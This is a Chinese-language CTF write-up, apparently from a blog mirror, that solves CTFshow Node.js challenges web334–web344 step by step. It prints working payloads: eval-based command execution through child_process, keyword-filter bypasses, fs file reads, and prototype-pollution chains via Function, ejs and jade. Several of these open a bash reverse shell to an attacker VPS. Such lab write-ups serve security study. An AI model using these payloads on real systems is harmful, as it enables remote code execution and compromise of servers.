当前位置: 首页 > news >正文

CTFSHOW | nodejs题解 web334 - web344

文章目录

    • 什么是nodejs
    • 题目列表
      • web334
      • web335
      • web336
      • web337
      • web338
      • web339
      • web340
      • web341
      • web342
      • web343
      • web344
    • 参考

什么是nodejs

Node.js 是一个基于 Chrome V8 引擎的开源、跨平台的 JavaScript 运行环境,主要用于在服务端运行JavaScript代码。以前JavaScript大多只能在浏览器中运行,有了 Node.js,开发者可以用 JavaScript 开发后端服务端应用,比如Web服务器、命令行工具等

核心特点如下:

  • 采用 事件驱动非阻塞式I/O模型,使其高效、轻量,特别适合处理高并发、I/O密集的网络应用
  • 利用 V8 引擎,JavaScript 代码执行速度快、性能高
  • 拥有全球最大的开源包管理生态系统—— npm,可便捷地安装和管理各种第三方模块和工具包
  • 让前端开发者可以用同一种语言开发前后端,提高开发效率与协同

Node.js 不是一门新语言,也不是JavaScript的框架,更不是Web服务器;它就是一个能在服务器端运行JavaScript的平台,类似于Java的JVM在服务器上运行Java程序

题目列表

web334

下载题目附件进行分析,一共就两个文件

user.js里面写了用户账号密码

然后login.js是关于登录的一些逻辑校验,其中我们需要重点关注的是findUser变量这里

return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

要求名字不为CTFSHOW,但是后面有个toUpperCase()函数,也就是输入的用户名会变大写,那只要输入小写的ctfshow,经过toUpperCase()变大写之后就通过验证了

打开题目环境,登录框输入

账号:ctfshow
密码:123456

成功拿到flag

web335

打开题目环境,查看网页源代码,可以看到有注释提示,可以拼接进网站访问

应该是eval()函数,可以用child_process来调用API执行系统命令

什么是child_process

child_process 是 Node.js 的一个核心模块,用于在应用程序中创建和管理子进程,让 JavaScript 能够在服务器端执行外部命令、脚本或者进行多进程并发运算

常用API

  • spawn():创建新进程,流方式处理数据,适合实时数据处理
  • exec():执行命令或脚本,回调方式返回所有输出,适合一次性任务
  • execFile():直接执行文件,减少命令注入风险
  • fork():专门用于启动新的 Node.js 进程,并与主进程实现 IPC(进程间通信)
  • execSync():同步执行命令,阻塞直到完成,返回结果,简洁直观
  • spawnSync():同步版本的 spawn,阻塞等待子进程完成,返回详细进程信息

这题需要我们用require包含child_process模块来调用API执行命令

但是如果我们直接执行exec(),会返回[object Object]

/?eval=require('child_process').exec('ls').toString()

这是因为exec()是异步执行,通过回调函数传递输出与错误,直接调用的话会返回一个 ChildProcess 对象,正确的方法应像下面这样

const { exec } = require('child_process');
const cp = exec('ls', (err, stdout, stderr) => {console.log(stdout); // 这里才是命令输出
});

execSync()则是同步执行,直接返回命令执行后的输出内容(Buffer 或 String),可以直接打印数据

所以我们用execSync()来执行命令

payload:

/?eval=require('child_process').execSync('ls').toString()

成功得到flag

当然调用spawnSync()也可以,不过直接打印的话它会返回一个包含多个属性的对象,需要用stdout输出Buffer,然后通过toString()转换为字符串,调用格式为spawnSync(command, args)。如果你把命令和参数写在同一个字符串里(如 'cat fl00g.txt'),spawnSync 会当作单一命令去执行,导致找不到该命令或执行出错,因此需要拆开

payload:

/?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()

web336

这题跟上题差不多,但是调用execSync()不行了

这里介绍两个变量,__filename__dirname

__filename:获取当前模块文件的完整绝对路径文件名
__dirname:获取当前文件所在目录的完整目录名

直接在网站拼接命令执行

/?eval=__filename

可以看到网站显示了当前文件的绝对路径/app/routes/index.js

我们用fs模块的readFileSync()来读取文件,fs模块(File System 模块)是专门用于进行文件系统相关操作的

/?eval=require('fs').readFileSync('/app/routes/index.js').toString()

直接爆出源码

var express = require('express');
var router = express.Router();/* GET home page. */
router.get('/', function(req, res, next) {res.type('html');var evalstring = req.query.eval;if (typeof(evalstring) == 'string' && evalstring.search(/exec|load/i) > 0) {res.render('index', { title: 'tql' });} else {res.render('index', { title: eval(evalstring) });}
});module.exports = router;

可以看到过滤了包含 execload 的字符串,有很多种方法可以做这题

1. 字符串拼接绕过

execSync拆成 exe + cSync,然后拼接字符串,%2B是加号

/?eval=require('child_process')['exe'%2B'cSync']('ls').toString()

然后读取flag即可

/?eval=require('child_process')['exe'%2B'cSync']('cat fl001g.txt').toString()

2. spawnSync() 命令执行

跟web335一样,换成spawnSync()即可绕过

/?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()

3. readFileSync() 文件读取

先用readdirSync()读取目录文件,然后用readFileSync()读取文件内容即可

/?eval=require('fs').readdirSync('.')
/?eval=require('fs').readFileSync('fl001g.txt')

web337

题目给出了源码

var express = require('express');
var router = express.Router();
var crypto = require('crypto');function md5(s) {return crypto.createHash('md5').update(s).digest('hex');
}/* GET home page. */
router.get('/', function(req, res, next) {res.type('html');var flag='xxxxxxx';var a = req.query.a;var b = req.query.b;if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag);}else{res.render('index',{ msg: 'tql'});}});module.exports = router;

其中重点需要关注的是

if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){

要求传入的ab长度相同,内容不相同且要求 a 加上 flag 后的 MD5 哈希值,必须等于 b 加上 flag 后的 MD5 哈希值

这里我们用数组绕过

这里涉及到一个概念,如果传入a[]=1&b[]=2,返回的是数组['1']['2'],在md5校验那里就相当于需要['1']+flag===['2']+flag,而由于JavaScript **隐式类型转换 + 字符串拼接 **的原因,['1']+flag会变成1flag,举个例子

console.log("1" + [2,2]);
// 步骤: [2,2] -> 调用 toString() => "2,2"
// 字符串拼接 => "1" + "2,2" => "12,2"

因此只要我们输入

a[]=1&b=1

a解析为数组['1'],b解析为字符串'1',经过转换之后,得到的结果都是1flag,因此它们的md5相同,成功通过验证

也是顺利拿到flag

还有一种方法,就是往数组里面传入非数字索引,例如

a[x]=1&b[x]=2

返回的结果是{ x: '1'}{ x: '2'},变成JS里面的对象了,传入对象之后,经过console.log后返回的都是[object Object],此时进行变量拼接得到的结果为[object Object]flag,再进行md5加密之后也是相同的

如果传入a[x]=1&b[x]=1也是可以的,因为两个对象的比较并不是比较属性,而是通过引用内存里的位置来比较的,所以 a !== b 的条件依然成立

web338

下载源码分析,先看app.js

可以看到包含了index.jslogin.jsindex.js里面没什么东西,主要看login.js文件

想要拿到flag就必须要secertctfshow属性值为36dboy,且secert变量值为空。向下分析,可以看到body的内容被copy到了user里面,查看copy的定义,可以发现copy竟然跟merge方法一模一样,因此这题可以用原型链污染来做,传入属性__proto__来污染Object原型

做原型链污染之前,建议先看一遍文章了解一下:深入理解 JavaScript Prototype 污染攻击

打开题目环境,随便输入账号密码

可以看到body的值传到了user里面,我们修改键值对为

{"__proto__":{"ctfshow":"36dboy"}}

这样做可以污染Object的原型,从而使得所有对象都继承了该属性,于是进行验证的时候,满足secert.ctfshow==='36dboy',也就拿到了flag

原型链被污染后,部分代码里其他依赖对象原型正常结构的地方会出错,依赖于纯净、标准原型链的对象操作(比如 for…in、Object.keys()、属性枚举和判断、库函数内部操作等)可能会出错或出现行为异常,导致POST访问/login时报 500 错误

因此这题只有一次污染机会,如果写错了值的话就只能重新启动环境做了,因为POST访问/login只返回500了

web339

打开源码分析,在app.js可以看到指向三个路由

相比上一题,这题login.js的校验条件变了

要求secert.ctfshow===flag,但我们并不知道flag的值,因此只能另辟蹊径

继续分析api.js,发现可以通过污染query来控制Function执行RCE操作

由于 Node.js 默认不会自动暴露 requireFunction 创建的函数,因此这里用process.mainModule.constructor._load 替代 require来包含child_process

payload:

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的VPS地址/端口 0>&1\"')"}}

这里我们用exec执行反弹shell,因为exec是异步的,适用于长时间/交互式/不需要立即结果的任务(例如反弹 shell、启动后台进程、并发执行多任务)。这题的目标不是“读取输出”,而是“建立外部控制会话”,因此异步 exec 足以完成“执行命令”的动作,而且更贴合反连的使用场景:父进程不被阻塞,持续提供服务

先在VPS处开启nc监听,然后跟上题一样,在/login处传入payload

接着POST访问/api即可建立连接

执行命令env,在环境变量里成功找到flag

web340

下载源码进行分析,也是先看app.js

可以看到,还是这几个文件,不过不同的是,login.js里面的user变量变了

要求isAdmin为true才可以通过,但是isAdmin已经被赋值为false了,因此在这里没办法污染

继续分析,可以看到api.js跟上题一样,因此可以用上题的方法来污染query反弹shell

但是如果直接传入__proto__,再访问/api会发现行不通

需要污染两层才可以,因为user.__proto__不是Object.prototypeuser.__proto.__proto__才是

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的VPS地址/端口 0>&1\"')"}}}

也是在环境变量处找到flag

下面详细解释一下为什么user.__proto__不是指向Object.prototype,开启本地调试,先在web340项目文件夹处打开终端,运行 npm install安装依赖

然后在项目文件夹处打开package.json,可以看到负责启动服务器的是bin/www,因为在很多标准的Express项目中,项目结构是分离的

修改配置文件的工作目录为web340,文件为bin/www

www文件中,可以看到运行的端口是在3000

login.js的第19行开启断点调试,然后网页打开http://127.0.0.1:3000,在登录框随便输入点东西,触发if(user.userinfo.isAdmin){判断

可以看到userinfo的__proto____proto__才是Object的prototype,为了更直观,我们在控制台输出看看

对于user这个变量

  var user = new function(){ //这是外层匿名构造函数this.userinfo = new function(){ //这是内层匿名构造函数this.isVIP = false;this.isAdmin = false;this.isAuthor = false;     };}

user.userinfo 对象是由内层构造函数创建的,所以 user.userinfo.__proto__ 指向内层构造函数的prototype

而内层构造函数的__proto__指向的才是Object的prototype

所以这就是为什么要传入两次的原因

拓展概念

只有函数才拥有 prototype 属性,而由构造函数创建出来的普通对象实例没有这个属性

例如user.userinfo是一个对象实例,但它没有属于自己的 prototype 属性,控制台输出为undefined

属性谁拥有作用
prototype构造函数定义实例继承的“蓝图”
__proto__任意对象实例(包括函数对象)一个指向其构造器的 prototype 的引用指针

web341

下载附件分析代码,发现这题没有api.js了,而且login.js也没有地方污染

继续分析代码,在app.js可以看到包含了ejs,且引擎设置为ejs

网上搜了一下,发现ejs模板引擎有个漏洞可以利用,实现从原型链污染到RCE

参考文章:Express+lodash+ejs: 从原型链污染到RCE

payload:

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的VPS地址/端口 0>&1\"');var __tmp2"}}}

跟上题一样,也是在/login里POST写入,然后刷新一次页面即可

env找到flag

web342

下载代码分析,总体跟上题代码差不多,但是app.js这两个地方不同

模板引擎换成了jade,上网参考了部分文章,链接:再探 JavaScript 原型链污染到 RCE

payload:

{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的VPS地址/端口 0>&1\"')"}}}

跟上题一样,在/login里POST写入,然后刷新一次页面

env找到flag

web343

这题在web342的基础上增加了过滤,但是影响不大,可以继续用上题的方法

payload:

{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的VPS地址/端口 0>&1\"')"}}}

/login里POST写入,然后刷新一次页面

在环境变量中读取flag

后面看了一下login.js到底过滤了什么

只过滤了text,没什么用

web344

这题给出了部分代码,先分析一下

router.get('/', function(req, res, next) {res.type('html');var flag = 'flag_here';if(req.url.match(/8c|2c|\,/ig)){res.end('where is flag :)');}var query = JSON.parse(req.query.query);if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){res.end(flag);}else{res.end('where is flag. :)');}});

过滤了8c、2c和逗号,然后要求GET传入参数query,且满足 query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true 才可以拿到flag

也就是正常情况下我们应该传入

?query={"name":"admin","password":"ctfshow","isVIP":true}

而经过URL编码之后变成

?query=%7B%22name%22%3A%22admin%22%2C%22password%22%3A%22ctfshow%22%2C%22isVIP%22%3Atrue%7D

双引号编码之后是%22,和c连接起来就是%22c,会被ban

这题用到了NodeJS的特性,当 URL 里传入了多个同名参数,如多次出现 query=,Express 解析会将这些参数放入数组中,然后JSON.parse 会将数组的字符串元素拼接成一个完整字符串再解析。同时c也要进行URL编码,变成%63,这样就不会被ban了

payload:

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

参考

bfengj:CTFshow-WEB入门-node.js

yu22x:CTFSHOW nodejs篇

http://www.lryc.cn/news/620893.html

相关文章:

  • 一颗TTS语音芯片给产品增加智能语音播报能力
  • 关于RSA和AES加密
  • vue+后端
  • vue3使用leaflet地图
  • 最新去水印小程序系统 前端+后端全套源码 多套模版 免授权(源码下载)
  • 跨域及解决方案
  • python+vue扫盲
  • langchain入门笔记03:使用fastapi部署本地大模型后端接口,优化局域网内的问答响应速度
  • Room 数据存储
  • AI 赋能:从智能编码提速到金融行业革新的实践之路
  • 机器翻译:Hugging Face库详解
  • 【51单片机学习】定时器、串口、LED点阵屏、DS1302实时时钟、蜂鸣器
  • 深入解析Prompt缓存机制:原理、优化与实践经验
  • (第十五期)HTML文本格式化标签详解:让文字更有表现力
  • 若依前后端分离版学习笔记(十)——数据权限
  • 阿里云TranslateGeneral - 机器翻译SDK-自己封账单文件版本—仙盟创梦IDE
  • 在mysql> 下怎么运行 .sql脚本
  • LeetCode 分类刷题:2302. 统计得分小于 K 的子数组数目
  • AI引擎重构数据安全:下一代分类分级平台的三大技术跃迁
  • Keep-Alive 的 “爱情故事”:HTTP 如何从 “短命” 变 “长情”?
  • Qt TCP 客户端对象生命周期与连接断开问题解析
  • 从零开始学Python之数据结构(字符串以及数字)
  • 18.13 《3倍效率提升!Hugging Face datasets.map高级技巧实战指南》
  • C# 贪吃蛇游戏
  • PHP现代化全栈开发:微服务架构与云原生实践
  • 机器视觉的磁芯定位贴合应用
  • Linux命令大全-zip命令
  • AI Agent 为什么需要记忆?
  • C++ 23种设计模式的分类总结
  • 使用DevEco Studio运行鸿蒙项目,屏蔽控制台无关日志,过滤需要的日志